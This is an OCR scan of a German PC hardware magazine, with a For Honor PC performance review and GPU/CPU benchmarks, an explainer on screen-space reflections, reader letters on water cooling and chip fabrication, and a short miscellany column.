in der PCGH 03/2017 erläuterten, 
wurde der deutsche Entwickler 
Blue Byte damit beauftragt, das Mul- 
ti-Plattform-Projekt For Honor auf 
den PC zu portieren. Angesichts der 
langen Erfahrung, welche die Stu- 
dios in Mainz und Düsseldorf mit 
den Siedler- und Anno-Serien vor- 
weisen kónnen, ist der Entschluss 
nachvollziehbar. Dabei stand der 
berühmt-berüchtigte Spagat im 
Vordergrund, ein Spiel an die Gren- 
zen neuer Hardware zu bringen, 
es gleichzeitig aber auch für eine 
große Bandbreite an PC-Spielern 
zugänglich zu machen. 


Blue Byte hat zweifellos eine gute 
Arbeit geleistet, denn For Honor ist 
ohne nennenswerte Probleme am 


PC gestartet. Die zahlreichen Test- 
phasen (Alpha/Beta), in deren Ver- 
lauf Bugs gesammelt und beseitigt 
wurden, haben gewiss ihren Teil 
dazu beigetragen. 


Die stark überarbeitete Anvil-Next- 
Engine haucht dem mittelalterli- 
chen Geschehen Leben ein - und 
was für eines! Die mit hochauflö- 
senden Texturen versehenen Levels 
werden stimmungsvoll von einer 
Vielzahl Lichtquellen volumetrisch 
ausgeleuchtet, der neue physikba- 
sierte Renderansatz (PBR) schafft 
samt einer globalen Beleuchtung 
ein realistisches Gesamtbild mit gu- 
ten Kontrasten zwischen Licht und 
Schatten. Für die Kämpfer kommt 
außerdem ein neues Animations- 
system zum Einsatz, das nicht nur 
auf eine Vielzahl Motion-Capturing- 


Aufnahmen, sondern auch auf eine 
sogenannte Motion-Matching-Tech- 
nologie setzt. Die Figuren bewe- 
gen sich daher sehr geschmeidig 
und ohne sichtbare Übergänge 
zwischen einzelnen Animationen 
durch die Arenen oder greifen aus 
dem vollen Lauf ohne Stocker oder 
Unterbrechungen nach einer Lei- 
ter, erfassen mit Händen und Füßen 
präzise die Sprossen und richten 
sich am Ende der Leiter wiederum 
ohne Unterbrechung auf. 


Vor allem in Kombination mit ei- 
nem modernen Ultra-HD-Display 
sorgt For Honor für staunende Ge- 
sichter. Wir erwischten uns beim 
Spielen der Kampagne immer wie- 
der dabei, wie wir einfach die Spiel- 
welt anstarrten, anstelle uns direkt 
in den nächsten Kampf zu stürzen. 
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Bildvergleich: Anti-Aliasing in For Honor 


For Honor bietet drei Anti-Aliasing-Modi: FXAA, SMAA und TAA. Letzteres ist die beste Temporal-Bildgláttung, die wir bis dato in einem Spiel gesehen haben, allein The Division 
und Doom können sich mit der gelungenen Mischung aus Bildberuhigung und -schärfe messen. Mit FXAA und SMAA flimmert For Honor in Bewegung. 
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Dabei verdient vor allem die fantas- 
tische Kantenglättung Lob (siehe 
oben), welche es vollbringt, den 
knackigen Content fast vollständig 
zu ,entflimmern". Letzteres gelingt 
zwar auch den Temporal-Algorith- 
men in Fallout 4 oder Far Cry Pri- 
mal, allerdings leidet hier die Bild- 
schärfe wesentlich stärker. Ähnlich 
gute Resultate sind nur in The Divi- 
sion (ebenfalls Ubisoft) und Doom 
(2016) zu bestaunen. 


Auch was die unterstützten Bildfor- 
mate angeht, gibt sich For Honor 
keine Blöße. Die Entwickler haben 
bereits in den Alpha- und Beta-Pha- 
sen alle wichtigen Seitenverhält- 
nisse inklusive 21:9 implementiert. 
Ultrawide ist in den Schlachten ein 
echter Mehrwert, da man hiermit 
nicht mehr unbemerkt von der Sei- 
te angegriffen werden kann. Der 
gelungene Surround-Sound kom- 
plettiert das Mittendrin-Gefühl, 
wobei vor allem die gehaltvollen 
Waffen-Sounds, wenn Schwert und 
Kriegshammer klirrend aufeinan- 
dertreffen, hervorzuheben sind. 


Einen Grund zur Kritik haben wir 


dennoch: For Honor folgt dem 
Trend, Rechenzeit für einen Effekt 
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zu opfern, den Fotografen in aller 
Welt unbedingt vermeiden wol- 
len - Chromatic Aberration. Diese 
Farbverschiebung trübt das Bild in 
For Honor etwas und lässt sich im 
Gegensatz zu vielen anderen Effek- 
ten nicht abschalten. 


Die Befürchtung, dass For Honor 
ein Hardware-Fresser wird, konn- 
ten wir bereits mit den Benchmarks 
der Beta-Version weitgehend ent- 
kräften. Selbstverständlich benötigt 
das Spiel ein Grundmaß an Grafik- 
und Prozessorleistung, insgesamt 
ist das Verhältnis aus Hunger und 
Pracht jedoch positiv. Ubisoft gibt 
an, dass mindestens eine Geforce 
GTX 660/750 Ti/950 respektive 
Radeon HD 6970/R9 270 oder RX 
460 im PC arbeiten sollten; empfoh- 
len werden eine GTX 680, R9 280X 
oder besser. 


Zeit, diese Angaben zu überprüfen. 
Wir setzen für die Grafikkarten- 
Benchmarks auf die vierte Mission 
der Ritter-Kampagne: Valkenheim 
im Winter. Der Schauplatz fordert 
den Grafikkarten unter anderem 
wegen vieler Nebelschwaden eine 
hohe Leistung ab. Um ein Worst- 


Case-Szenario handelt es sich je- 
doch nicht, in der zweiten Mission 
stießen wir auf noch etwas gerin- 
gere Bildraten. Die Gründe, wa- 
rum wir dennoch auf Mission 1.4 
setzen, sind, dass erstens unsere 
20-Sekunden-Mes- 
sung in Form eines Sprints mög- 
lich ist, zweitens, weil hier einige 


standardisierte 


Nichtspieler-Charaktere herumlau- 
fen, und drittens, weil sich diese 
Sequenz als gut reproduzierbar er- 
wiesen hat. 


Tatsächlich genügt eine leicht über- 
taktete RX 460 für mindestens 30 
Fps in Full-HD-Auflösung und ma- 
ximalen Details, während es OC- 
Modelle des Typs GTX 770, GTX 
1050 Ti, R9 280X/380X sogar in den 
40- bis 50-Fps-Bereich schaffen. Wer 
eine R9 290, GTX 970 oder besser 
besitzt, kann sich in dieser Aufló- 
sung über mehr als 60 Bilder pro 
Sekunde freuen. Die Anforderun- 
gen steigen allerdings stark beim 
Wechsel zu hóheren Auflósungen. 
In WQHD (1440р) wird die 60er- 
Marke nur von AMDs R9 Fury X 
sowie Geforce-Karten ab der GTX 
1070/980 Ti erreicht - und in Ult- 
ra HD ist diese Bildrate mit jedem 
Modell abseits einer übertakteten 


Titan X (Pascal) utopisch. Das Gra- 
fikmenü von For Honor bietet je- 
doch zahlreiche Móglichkeiten, hier 
und da etwas Leistung einzusparen. 
Auf das gelungene TAA sollten Sie, 
wie bereits erwähnt, jedoch nicht 
verzichten, da der feine Grafik- 
inhalt sonst schnell zur Flimmer- 
orgie verkommt. 


Falls Ihre Grafikkarte heillos über- 
fordert ist, bietet For Honor mit 
der ,Resolution Scale* eine Lósung 
an. Hierbei handelt es sich um ei- 
nen Schieberegler, der die intern 
berechnete Auflósung reduziert. Es 
kann sich lohnen, hier ein paar Pro- 
zent herunterzugehen, falls es par- 
tout nicht mit einer ordentlichen 
(Vsync)Bildrate klappt. Im Falle 
eines Prozessorlimits hilft das Her- 
umspielen an der Auflósung jedoch 
keinesfalls. 


P гта à 

Auch was die Prozessorlast an- 
geht, hinterlässt For Honor einen 
guten, modernen Eindruck. Die 
Engine offenbart im Test auf meh- 
reren Systemen ein ausgereiftes 
Multi-Threading, das nicht nur vier, 
sondern auch weitere Prozessor- 
threads in höhere Bildaten umsetzt. 
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CPU-Leistung und -Kernskalierung 


1.280 x 720, max. Details (AA/AF/AO ausgenommen) - ,Zitadellentor" 
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Zeit in Sekunden 


System: AMD Phenom 2 X6 @ 4,0 GHz (NB 3,0 GHz), Gainward GTX 1080 Phoenix GLH, Gigabyte 790FX, 
2 x 4G DDR3-1866 (1T), Win 10 x64 Bemerkungen: For Honor läuft selbst mit alten Prozessoren tadellos. 


Wir machen auf der linken Seite 
den Extremtest Was leistet ein 
angestaubter Phenom 2 auf dem 
Schlachtfeld? Erstaunlich viel, wie 
die Werte unserer Kernskalierung 
beweisen. Beachten Sie bitte, dass 
wir das verwendete X6-System ma- 
nuell auf 40 GHz Kerntakt getrie- 
ben haben. 


Die Bildrate profitiert fühlbar beim 
Schritt von vier auf sechs Prozessor- 
kerne, im Mittel steigt die Bildrate 
um 17 Prozent Wenig überra- 
schend wirkt sich das Taktplus stär- 
ker aus als zusätzliche Kerne, der 
simulierte X4 @ 4 GHz kann sich 
trotz des guten Multi-Threadings 


sitzen, sind Sie folglich auf der si- 
cheren Seite. Mit einem modernen 
Chip des Typs Core i5/i7 limitiertin 
gängigen Auflösungen (ab Full High 
Definition) derweil fast immer die 


Grafikkarte. (rv/pr) 
Fazit Гйшаге 
For Honor 


Ubisoft und Blue Byte zeigen, wie eine 
gelungene PC-Version aussieht. For Ho- 
nor bietet Spitzengrafik und geht den- 
noch effizient mit den Ressourcen um. 
Dass es der DX12-Modus noch nicht 
ins Spiel geschafft hat, ist daher kein 
Beinbruch. Wenn es so weit ist, werden 
wir uns selbstverständlich erneut ins 


vor den X6 @ 3,3 GHz setzen. Falls 
Sie einen Vierkernprozessor be- 


Benchmark-Getümmel stürzen. 


For Honor: 20 Grafikkarten in vier Auflösungen (Full HD, WQHD, UWQHD, Ultra HD) 


1.920 x 1.080, Extrem-Preset, TAA/16:1 HQ-AF - „Road to Valkenheim” 


Nvidia Titan X/12G 171,0 (+399 %) 
MSI GTX 1080 Gaming X/8G. |a: 137,8 (+302 %) 


Palit GTX 980 Ti Super Jetstream/6G Em B 118,1 (+244 %) 
EVGA GTX 1070 SC Gaming/8G. 111,3 (+224 %) 
AMD Radeon R9 Fury X EB 94,4 (4-175 %) 
Asus GTX 980 Strix/4G EB 88,1 (+157 %) 
Zotac GTX 1060 AMP/6G. MEMME 82,5 (+141 96) 
Gainward GTX 780 Ti Phantom/3G Ea 81,9 (+139 %) 
HIS R9 390X IceQ X? Turbo/8G SI 80,4 (4-134 96) 
ХЕХ RX 480 GTR Black Ed./8G. ent 80,1 (+134 96) 
MSI GTX 970 Gaming/3,5+0,5G Ett 76,6 (+123 %) 
Palit GTX 1060 Dual/3G [Xm 75,8 (+121 90) 
Sapphire R9 290 Tri-X OC/AG. EEG 72,4 (4-111 96) 
ХЕХ RX 470 RS Black Ed./4G ez 67,3 (+96 %) 
HIS R9 280X IceQ X? Turbo/3G. Esa 55,5 (+62 96) 
Sapphire R9 380X Nitro/AG SERI GGEHINEB0III 53,5 (+56 96) 
Zotac GTX 1050 Ti AMP/4G El 51,7 (+51 96) 
Gigabyte GTX 770 Windforce OC/2G. ВЕ 83918 45,2 (+32 96) 
Asus R9 270X DC2 TOP/2G [EA] 43,6 (+27 %) 
Gigabyte RX 460 Windforce OC/4G MESZ] 34,3 (Basis) 


2.560 x 1.440, Extrem-Preset, TAA/16:1 HQ-AF - „Road to Valkenheim" 


Nvidia Titan X/12G НО И 112,1 (+431 %) 
MSI GTX 1080 Gaming X/8G gar] 89,1 (+322 %) 
Palit GTX 980 Ti Super Jetstream/6G Ext 76,3 (+262 %) 
EVGA GTX 1070 SC Gaming/8G. enn 71,8 (+240 %) 
AMD Radeon R9 Fury X Eon 63,8 (+202 90) 
Asus GTX 980 Strix/4G [Est 56,7 (+169 96) 
HIS R9 390X IceQ X? Turbo/8G agi 52,4 (4-148 %) 
Zotac GTX 1060 AMP/6G. Egi] 52,4 (+148 %) 
ХЕХ RX 480 СТА Black Ed./8G. gi 51,6 (+145 %) 
Gainward GTX 780 Ti Phantom/3G ШАО 49,9 (+136 96) 
MSI GTX 970 Gaming/3,5+0,5G ШУ 48,7 (+131 %) 
Palit GTX 1060 Dual/3G ШШШ 48,3 (+129 %) 
Sapphire R9 290 Tri-X OC/AG. FEX 47,0 (+123 96) 
ХЕХ RX 470 RS Black Ed./4G MEAO] 42,2 (+100 96) 
HIS R9 280X IceQ X? Turbo/3G FE] 37,1 (+76 96) 
Sapphire R9 380X Nitro/4G X321] 34,9 (+65 96) 
Zotac GTX 1050 Ti AMP/4G || 32,1 (+52 96) 
Gigabyte GTX 770 Windforce OC/2G MEZI 30,9 (+46 96) 
Asus R9 270X DC2 TOP/2G Ш] 26,6 (+26 96) 
Gigabyte RX 460 Windforce OC/AG В ҢІ 21,1 (Basis) 


3.440 x 1.440, Extrem-Preset, TAA/16:1 HQ-AF - „Road to Valkenheim" 


Nvidia Titan X/12G EB 88,5 (+450 96) 
MSI GTX 1080 Gaming X/8G SREIIKIIIIIIóI 71,1 (+342 %) 
Palit GTX 980 Ti Super Jetstream/6G ES 60,2 (+274 96) 
EVGA GTX 1070 SC Gaming/8G. Esdr 56,7 (+252 96) 
AMD Radeon R9 Fury X Eti 50,8 (+216 96) 
Asus GTX 980 Strix/4G [Xni 44,2 (4-175 96) 
Gainward GTX 780 Ti Phantom/3G [E391] 41,3 (4-157 96) 
HIS R9 390X IceQ X? Turbo/8G MESE] 41,3 (+157 96) 
Zotac GTX 1060 AMP/6G [53811 40,7 (+153 96) 
ХЕХ RX 480 GTR Black Ed./8G ВЕ 308 39,8 (+147 96) 
Palit GTX 1060 Dual/3G ВЕ 2988 37,2 (+131 96) 
Sapphire R9 290 Tri-X OC/4G E381] 37,1 (4-130 %) 
MSI GTX 970 Gaming/3,5--0,5G. E3411 36,9 (+129 96) 
XFX RX 470 RS Black Ed./4G MEST] 32,8 (+104 96) 
HIS R9 280X IceQ X? Turbo/3G [E271] 29,4 (+83 96) 
Sapphire R9 380X Nitro/AG ВЕ 29| 27,2 (+69 96) 
Zotac GTX 1050 Ti AMP/4G |823l| 24,9 (+55 96) 
Gigabyte GTX 770 Windforce OC/2G В 22,2 (+38 96) 
Asus R9 270X DCH TOP/2G ВЗ] 19,2 (+19 96) 
Gigabyte RX 460 Windforce OC/4G Mill 16,1 (Basis) 


3.840 x 2.160, Extrem-Preset, TAA/16:1 HQ-AF - „Road to Valkenheim" 


Nvidia Titan X/12G Esq 57,4 (+504 %) 
MSI GTX 1080 Gaming X/8G. Ear] 45,3 (4-377 96) 
Palit GTX 980 Ti Super Jetstream/6G E3811 38,2 (+302 96) 
EVGA GTX 1070 SC Gaming/8G ВЕ 21| 35,9 (4-278 96) 
AMD Radeon R9 Fury X Ш 2911 31,4 (+231 96) 
Asus GTX 980 Strix/4G Ш 2911 27,8 (+193 96) 
Zotac GTX 1060 AMP/6G MEZA] 25,6 (+169 96) 
Gainward GTX 780 Ti Phantom/3G [3311 25,2 (+165 96) 
HIS R9 390X IceQ X? Turbo/8G В | 25,2 (+165 96) 
ХЕХ RX 480 GTR Black Ed./8G [331] 25,1 (4-164 96) 
MSI GTX 970 Gaming/3,5+0,5G ВЭ 23,3 (+145 96) 
Sapphire R9 290 Tri-X OC/AG Ш 20 21,2 (+123 96) 
ХЕХ RX 470 RS Black Ed./4G [SIBI] 20,2 (4-113 96) 
Palit GTX 1060 Dual/3G E981] 19,8 (4-108 96) 
HIS R9 280X IceQ X? Turbo/3G В 17,9 (+88 96) 
Zotac GTX 1050 Ti AMP/4G DÉI 15,4 (+62 96) 
Sapphire R9 380X Nitro/4G Ш 15,2 (+60 96) 
Gigabyte RX 460 Windforce OC/4G ll 9,5 (Basis) 
Asus R9 270X DC2 TOP/2G B! 6,5 (-32 96) 
Gigabyte GTX 770 Windforce OC/2G Wi 4,7 (-51 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607), Geforce 378.66 WHQL, Radeon Software 17.2.1 Beta, HQ-AF 


Bemerkungen: For Honor setzt höhere Rechenleistung gut in bessere Bildraten um und ist in Sachen Grafikspeicher genügsam — in Ultra HD genügen 4 GiByte vollkommen. 


Mimi ø Fps 


» Besser 
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SPIELE & SOFTWARE | Grafikeffekte erklàrt, Teil 1 


pieglein, Spieglein 


In unserer neuen Artikel-Reihe wollen wir auf moderne Grafikeffekte eingehen, die in aktuellen 


Spielen zum Einsatz kommen. Wir beginnen mit Screen-Space-Reflexionen. 


iese neue Artikel-Serie soll 

dazu dienen, einige in aktu- 
ellen Spielen eingesetzte und be- 
sonders auffällige Effekte ein we- 
nig genauer zu beleuchten, ohne 
dabei mit allzu viel Fachlatein zu 
verwirren. Den Anfang machen die 
Reflexionen und nochmals mit be- 
sonderer Gewichtung die Screen- 
Space-Reflections, die in vielen ak- 
tuellen Spielen auffallen. 


Reflexionen tragen in Spielen viel 
zur Atmosphäre bei: Nass glänzen- 
der Asphalt, spiegelnde Pfützen, 
Wasseroberflächen oder funkeln- 
des Metall - 
Licht beziehungsweise dessen näh- 
rungsweiser Simulation würden 
Szenen in Spielen viel von ihrer 


ohne reflektiertes 


Glaubwürdigkeit verlieren. Zudem 
dienen Reflexionen als stilistisches 
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Mittel, ein Film wie Blade Runner 
würde ohne sich auf dem nassen 
Asphalt widerspiegelnde Neonre- 
klame einen großen Teil des cha- 
rakteristischen Looks einbüßen. 


Wollen die Entwickler in ihrem 
Spiel Reflexionen nutzen, so ste- 
hen sie indes vor einem Problem: 
Eine korrekte Spiegelung einer 
Szene, beispielsweise in 
Pfütze am Boden, würde aufgrund 


einer 


der Komplexität moderner Titel 
voraussetzen, dass die komplette 
Szene inklusive Beleuchtung und 
Verschattung nochmals in anderer 
Perspektive berechnet wird. Dies 
würde in den allermeisten Titeln 
viel zu viel Rechenleistung benó- 
tigen. Also greifen die Entwickler 
zu Tricks: Cube-Maps und Screen- 
Space-Reflections. Erstere kónnen 


Sie sich in etwa wie eine Skybox 
vorstellen: Aus mehreren (vor-)be- 
rechneten Bildern wird ein Würfel 
kreiert. Der Inhalt dieses Quaders 
wird auf die spiegelnde Oberfläche 
gelegt und perspektivisch mit der 
Blickrichtung des Spielers synchro- 
nisiert. Ändern Sie also den Blick- 
winkel, dreht sich der Würfel ent- 
sprechend, was eine ansatzweise 
glaubhafte Spiegelung ermöglicht 
- wenn man nicht genau hinsieht. 
Cube-Maps kommen schon lange 
und häufig in Spielen zum Einsatz. 
Prominentes Beispiel sind Renn- 
spiele und der spiegelnde Lack der 
Fahrzeuge. Nachteile von Cube- 
Maps sind unter anderem die stark 
eingeschränkte Perspektiventreue, 
die geringe Auflösung und das 
Problem, dass eine Echtzeitberech- 
nung teuer ausfallen würde. 


Screen-Space-Reflections 

Hier kommen Screen-Space-Reflec- 
tions ins Spiel, die hochauflösende 
und perspektivisch glaubhaftere 
Reflexionen ermöglichen. Aller- 
dings mit Einschränkungen, denn 
Präfix „Screen-Space“ 
schon suggeriert, kann mit dieser 
Art Spiegelung nur der Screen- 


wie das 


Space, also der Bildschirminhalt, 
berücksichtigt werden. Es gibt 
verschiedene 


Techniken, viele 


aktuelle basieren auf  Raymar- 
ching und nutzen zudem tempo- 
rale Verrechnungen sowie Extras 
wie eine Kontaktverhärtung. Das 
grundsätzliche Problem ist jedoch 
der Screen-Space und die damit 
einhergehenden perspektivischen 
Schwierigkeiten. Sehen wir uns in 
den folgenden Beispielen doch mal 


einige Nebeneffekte an. (pr) 
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Ist etwas nicht im Screen-Space, dann wird es auch nicht gespiegelt. 


Screen-Space-Reflections zeigen häufig eine Reihe Artefakte, darunter Grieseln, Rechenzeit zu sparen), übernimmt nun einen Teil des Farbwerts des Punktes, auf den 
welches auf die recht ungenaue Abtastung des Shaders und die Auflösung zurückfállt. ег traf. Das Gleiche gilt für die umliegenden Bildpunkte; zusammen entsteht so eine 
Häufig wird dies durch eine temporale Filterung bekämpft. Die auffälligsten Nebe- perspektivisch relativ korrekte und hochauflösende Echtzeit-Spiegelung. Allerdings 
neffekte stammen jedoch von dem Umstand, dass nur der Bildschirminhalt (Screen funktioniert dies nur, wenn der Strahl nicht einen Punkt außerhalb des Bildes trifft, 
Space) gespiegelt werden kann. Stellen Sie sich das anhand der drei unteren Bilder in депп diese werden für die Szene nicht berechnet — es käme also eine leere Informa- 
etwa so vor: Der Shader zeichnet eine virtuelle Linie (Tracer) von Ihrem Blickfeld auf tion zurück, die Reflexion bleibt aus. Ändern wir also den Blickwinkel, können wir die 
die Pfütze. Von deren Oberfläche wird dieser Strahl im korrekten Winkel reflektiert, Reflexion „aus dem Bild wischen". Und daher bleibt der Spiegel im ersten Bild leer. 
dann trifft er auf die Türe. Der Pixel in der Pfütze (der etwas gröber ausfällt, um Der Bereich hinter uns existiert nicht im Screen-Space, ebenso wenig unsere Spielfigur. 


Dieser Spiegel zeigt keine Spiegelung — weder der Bereich hinter uns noch unsere Spielfigur befinden sich im Screen-Space, sie können also auch nicht gespiegelt werden. 


Doch verschieben wir den Blickwinkel..., ...enthált der Screen-Space nicht ausreichend Daten. 


Ka SCH 


7a) 
"ëmge 
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Geschickt eingesetzt können auch getrickste Spiegelungen überzeugen. 


Es gibt einige Beispiele, in denen Screen-Space-Reflections wirklich klasse aussehen. die in vielen Spielen auftauchen, wenn sich ein Objekt vor einer Spiegelung befindet: 
Dazu zählt Doom, das sehr schicke Bildbereichs-Reflexionen bietet, diese sauber mit- In diesem Fall muss das betreffende Objekt vom Shader ausgeschnitten werden, um 
tels einer temporalen Komponente inklusive Verwischschutz (Weighting) glättet und nicht selbst erfasst und in der Spiegelung sichtbar zu werden. Sehr auffällig tritt 

sie außerdem geschickt mit Environment-Cube-Maps vermischt. Auf diese Weise wer- dies in Ego-Shootern um das Waffenmodell oder in Third-Person-Perspektive um die 
den viele der Nebeneffekte der Screen-Space-Reflections kaschiert. Ähnlich gute und Spielfigur auf. Im Normalfall ist ein deutlicher und hásslicher , Rand" sichtbar, in dem 
nochmals (im positiven Sinne) auffälligere Spiegelungen bietet The Division. Auch hier die Reflexion aussetzt. Dies ist in The Division nur sehr eingeschränkt zu beobachten. 
werden mehrere Ansätze genutzt. Die Screen-Space-Reflections fallen hochauflösend AuBerdem nutzt der Optikkracher sich alle paar Frames neu berechnende Cube-Maps, 
und prázise aus, werden sauber temporal gefiltert und zeigen kaum jene Artefakte, welche die Screen-Space-Reflections dort ergänzen, wo sie technisch aussetzen, 


Eine fast perfekte Illusion: Die Kombination aus hochauflósenden und sauber gefilterten Screen-Space-Reflections und Environment-Cube-Maps in The Division. 


wr | 3 o oc Tg 


© 172 m: Rescue: Garment District Civilians 


Seltener Anblick: Eine Third-Person-Spiegelung — der Frontbereich bleibt allerdings leer. Eine noch nicht vollstándig aktualisierte Cube-Map-Reflection 
u 4 LI [d 


/ 
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Mehr Kühlleistung mit größerem 
Schlauchdurchmesser? 

Bei einem neu gebauten PC habe ich durch- 
gehend 16/12er-Röhren und -Schläuche verwen- 
det und da Mayhems mir zwei Liter Ice Dragon 
Nano Fluid kostenlos zur Verfügung gestellt 
hat, um die Eigenschaften zu testen und darü- 
ber zu berichten, beide Kreisläufe (1 x Grafik- 
karte mit EK-FC1080 GTX FTW und 1 x EK-FB 
Asus R5E Monoblock, jeweils eine EK-XRES- 
DDC-3.2-PWM-Elite-Pumpe) mit Aquacompu- 
ter High-Flow- und MPS-Flow-200-Durchfluss- 
Sensoren ausgestattet. Vom Kreislauf mit dem 
R5E-Monoblock hatte ich schon die Werte mit 
8/10er-Schläuchen und bin so von maximal 180 
Litern pro Stunde ausgegangen. Denn mit Ekoo- 
lant und den 8/10ern bei gleicher Pumpe hatte 
ich 160 I/h Durchfluss, gemessen mit dem High- 
Flow. Umso überraschter war ich über die Werte 
mit 16/12er-Röhren und -Schläuchen, der High- 
Flow misst jetzt ca. 315 l/h und der MPS knallt 
bei 199 1/һ an das 200er-Maximum. Jetzt kann 
das kaum „nur“ durch das Nano-Fluid verursacht 
werden. Es ist also doch ziemlich sicher, dass der 
Durchmesser der Leitungen einen enormen Ein- 
fluss auf den Durchfluss hat?! 

Egon S., per E-Mail 


Torsten Vogel: Natürlich hat der Durchmes- 
ser von Schläuchen einen Einfluss auf den 
Durchfluss in einem Kreislauf. Insbesondere 
dann, wenn nur wenige Kühler verbaut sind 
und bereits ein eher hoher Durchfluss erreicht 
wird. Ein um 75 Prozent höherer Wert, wie von 
Ihnen gemessen, erscheint zwar sehr hoch und 
könnte auch teilweise auf neue Anschlüsse und 
veränderte Strómungsverháltnisse im Durch- 
flussmesser geschönt sein, bei einem Wechsel 
von 8 auf sehr weite 12 mm Innendurchmesser 
liegt er aber noch im Bereich des möglichen. 
(Anmerkung: Wegen der im Vergleich zum 
Durchmesser geringen Wandstärke rät PCGH 
von 16/12-mm-Schlauch ab. 16/10 mm ist 
meist deutlich knickresistenter) Zu beachten 
ist aber, dass die Kühlleistung oberhalb von 40 
Yh kaum noch mit dem Durchfluss skaliert. Ein 
reeller Nutzen abseits des höheren Durchfluss- 
messer-Anzeigewertes besteht somit nicht. Wer 
wirklich unter sehr niedrigem Durchfluss leidet 
(30 yh) profitiert zudem weniger von weiten 
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Community 


Leserbriefe 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


Schläuchen, da mit der Fliefsgeschwindigkeit 
auch die Bedeutung des Reibungswiderstandes 
an den Schlauchwänden sinkt. 


Fertigung: Größere Chips statt kleine- 
re Strukturen? 

Warum muss man immer mehr Transistoren 
auf kleinerem Raum unterbringen, wenn man 
doch auch den Chip größer machen könnte und 
so mehr Transistoren unterbringen kann? 

Philipp S., per E-Mail 


Stephan Wilke: Leider fehlen mir belastbare 
Zahlen aus dem Fertigungsalltag, doch ein we- 
sentlicher Kostenfaktor bei der Produktion von 
Chips wird dadurch beeinflusst, wie viele Dies 
sich auf einem Wafer unterbringen lassen. Das 
liegt einerseits an den Produktionskapazitáten, 
da nur eine begrenzte Anzahl von Wafer pro Tag 
verarbeitet werden kann. Liefert eine Fabrik 
nur noch halb so viele Chips pro Tag, müssen im 
Endeffekt neue Fabriken her - sehr teuer, auch 
wegen laufender Kosten. Andererseits steigt bei 
einer größeren Chipfläche der Verschnitt auf 
einem Wafer (da die unvollständigen Dies am 
Rand des runden Wafers mehr Platz einneh- 
men) und es ist außerdem mit einer sinken- 
den Ausbeute zu rechnen. Angenommen auf 
einem Wafer gibt es zehn gleichmäßig verteilte 
Verunreinigungen/Materialfehler, dann ist der 
Schaden deutlich größer, wenn dadurch zum 
Beispiel 10 von 100 Chips aussortiert werden 
müssen als 10 von 500 Chips. 


Nicht zuletzt ermöglichen kleinere Strukturen, 
die Schaltgeschwindigkeit von Transistoren 
zu erhöhen (mehr Leistung) und die Betriebs- 
spannung zu senken (niedrigere Leistungsauf- 
nahme). Durch die niedrige Betriebsspannung 
wird grundsätzlich auch die Kühlung verein- 
Jacht; man merkt es nur nicht unbedingt, da die 
Hersteller ja auch die Komplexität der Designs 
und die Taktfrequenz immer weiter erhöhen. 
Ein Hersteller mit einer technisch unterlegenen 
Fertigungstechnik hat daher tendenziell einen 
Nachteil, der sich nur durch günstigere Prei- 
se (eventuell nicht rentabel) oder ein besseres 
Chipdesign (unter Umständen nicht möglich, 
zumindest aber forschungsintensiv und daher 
eventuell nicht rentabel) ausgleichen lässt. 


Das sind zumindest ein paar Aspekte, die mir 
aus dem Stegreif eingefallen sind. Bei weniger 
komplexen Designs als aktuellen Prozessoren 
und Grafikchips, etwa in Haushaltsgeráten oder 
Industriemaschinen, werden ja durchaus rela- 
tiv grobe Fertigungsverfahren eingesetzt, wenn 
es ökonomisch sinnvoller ist. Momentan gibt es 
Pläne für die Fertigung mit 7 und 5 nm Struk- 
turgrófse, bei noch kleineren Strukturen könnte 
die Physik aber endgültig Grenzen setzen. Dann 
werden die Chips tatsächlich wieder größer 
oder den Herstellern gelingt es, mehr Leistung 
ohne zusätzliche Transistoren zu erzielen. Auch 
neue Konzepte wie Quantencomputer gelten als 
Hoffnungsträger, um Leistungssteigerungen in 
der Zukunft zu ermöglichen. 


MSI Trident nur mit 3 GiB Grafik-RAM? 
Ihr Test des MSI Trident in Ausgabe 02/2017 
hat mich überzeugt, dieses Produkt zu er- 
werben. Sie empfehlen die Variante mit 6 GiBy- 
te Grafikspeicher, leider kann ich jedoch keinen 
Händler finden, welcher diese Variante anbietet. 
Markus S., per E-Mail 


Manuel Christa: MSI hat uns Rückmeldung ge- 
geben, dass diese Variante aktuell ausverkauft 
ist. Es ist aber eine Neuauflage geplant und wir 
erhalten Bescheid, wenn diese auf den Markt 
kommt. Eine Alternative wäre, die Grafikkarte 
gegen ein anderes Modell auszutauschen, so- 
fern Ihnen das den Aufwand wert ist. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 

Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: 
pcgh.de/digital-ausgabe 


Ð Einzelheft bestellen: 
www.pcgh.de/heft 


www.pcgameshardware.de 


www.pcgh.de/print 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 
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Rossis Restekiste 


Bloxels 


Nostalgisch veranlagte Leser werden sich wehmütig an die Zeiten erinnern, als 
man in Computerspielen noch die Pixel erkennen konnte und sogenannte ,Sprites" 
gang und gäbe waren. ,Bloxels" lässt uns dieses Gefühl wieder erleben und 
versetzt Sie auch so ganz spielerisch in die Lage, Ihr eigenes Game zu kreieren. 
Aus rund 320 Blöcken kann man seine eigenen Welten und Wesen schaffen, wel- 
che dann mit der kostenlosen „Bloxels Builder App" zum Leben erweckt werden. 

www.amazon.com/dp/BO1FUFJAZQ/ 


Worte des Monats 


„Das Overwatch-Team lehnt die Verwendung 
von Maus und Tastatur an der Konsole ab.” 


Jeff Kaplan, Vizeprásident von Blizzard Entertainment und Game Director für Overwatch — in 
einer Diskussion im Battle.Net-Forum darüber, dass manche Konsolenbesitzer Adapter für Maus 
und Tastatur nutzen und daher einen Vorteil gegenüber Spielern mit Gamepad haben. 


Bild des Monats 


Bei Miniaturdrohnen orientieren sich Wissenschaftler oft an Insekten, hier wird das 
nsekt zur Drohne: , DragonflEye" ist ein Forschungsprojekt, bei dem eine Libelle ein 
